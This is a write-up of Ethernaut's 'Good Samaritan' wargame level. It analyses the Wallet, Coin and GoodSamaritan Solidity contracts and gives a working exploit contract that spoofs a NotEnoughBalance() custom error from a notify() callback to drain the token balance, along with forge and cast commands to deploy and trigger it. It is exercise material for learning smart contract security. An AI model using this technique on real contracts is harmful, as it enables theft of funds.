Ethernaut Level 27 - Good Samaritan

Ethernaut Level 27 - Good Samaritan

Analysis and solution for Ethernaut's Level 27 - Good Samaritan, with Solidity and Foundry

Objectives

There's a GoodSamaritan contract that holds a lot of tokens and donates 10 tokens to anyone who requests. Our goal is to drain the contract of all the tokens it holds by exploiting something called custom errors that were recently introduced in Solidity. Since the aftermath of the last level, I'm so glad they gave us an easy one this time.


Analysis

In this level, there are 3 contracts. GoodSamaritan is the one with which we'll be interacting. We can verify this by executing contract.abi in the console.

image.png

Let's go through the contracts.

Wallet

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}
  • The wallet defines two custom errors at the top which it's using inside the revert statements.
  • The function donate10() is the one that is called to donate 10 coins to the requestor. It checks the balance of the contract (GoodSamaritan) before the transfer and reverts with a custom error (NotEnoughBalance()) if it's less than 10. Else, it just transfers 10 coins.
  • Function transferRemainder() transfers all the coins stored in the contract to the requestor. We need to somehow trigger this function.
  • Both of the functions described above are onlyOwner allowing only the owner to call them. The owner will be GoodSamaritan contract in this case.

Coin

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}
  • The Coin contract adds a million coins to the balance of the GoodSamaritan contract inside the constructor.
  • The transfer function is important here. It is doing it's regular validations, decreasing the amount from the sender and increasing the destination's amount. But there's one specific validation that stands out - if(dest_.isContract()). This is checking if the address that requested the donation is a contract and calling the notify() function on the address, i.e., dest_ contract. Since we control the requestor address, we can create a contract on that address and probably control the execution flow after the INotifyable(dest_).notify(amount_) is called.

GoodSamaritan

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}
  • The contract is deploying new instances of the Wallet and Coin contracts.
  • The function requestDonation() is of interest here. We can call this function externally. Note that this whole thing is inside a try and catch block.
    • The try block is executing the wallet.donate10(msg.sender) call with msg.sender being anyone who called the function.
    • The catch block is validating if the error thrown as a result of an error with the try block matches with the string of the custom error message NotEnoughBalance(). If it does match, then the wallet will transfer all the amount to us. This is what we need to achieve.

The Attack Flow

Let's take a few steps back and trace what happens when we call the requestDonation() function:

  1. We made a call to requestDonation() and the execution flow goes to wallet.donate10(msg.sender).
  2. The wallet contract calls coin.transfer() if everything goes well.
  3. The coin.transfer() function does the necessary calculations, checks if our address is a contract, and then calls a notify() function on our address.
  4. This is where we attack. We create a notify() function in our contract and make it revert a custom error with the name NotEnoughBalance(). This will trigger the error in the GoodSamaritan.requestDonation() function and the catch() block will be triggered transferring us all the tokens.
  5. But wait, there's another catch. Transferring all the tokens won't work because our contract will just revert the transaction. To counter this, we will need to add another condition to our notify() function to check if the amount <= 10, and then only revert.

The Exploit

Here's how our exploits code looks like:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../instances/Ilevel27.sol";

contract BadSamaritan {

    error NotEnoughBalance();

    GoodSamaritan goodsamaritan  = GoodSamaritan(0xcf2e93212faddDeB5ca99606104Be3Bae28e27A4); //ethernaut instance address
    function attax() external {
        goodsamaritan.requestDonation();
    }

    function notify(uint256 amount) external pure {
        if (amount <= 10) {
            revert NotEnoughBalance();
        }
    }
}
  • The attax() function is just for calling the requestDonation() to trigger the initial transfer.
  • The transfer will then call our notify() function and since the amount will be 10, it'll revert.
  • The revert will then trigger the catch block in requestDonation() and will transfer all the tokens to us.
  • This time our notify() won't revert due to the if condition.

Let's deploy our contract using the following command:

forge create BadSamaritan --private-key $PKEY --rpc-url $RPC_URL

Now to call the attax() function:

cast send 0xb5daE871ADAFD33ee4B6Bf782a30b238902715F6 "attax()" --private-key $PKEY --rpc-url $RPC_URL --gas-limit 1000000

I specified a large gas limit because the transaction kept failing.

image.png

The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - blog.dixitaditya.com/getting-started-with-e..


Takeaways

It is a really bad idea to give execution control to the hands of any external user and then use any dependent condition based on the external factor to decide a critical logic in the contract.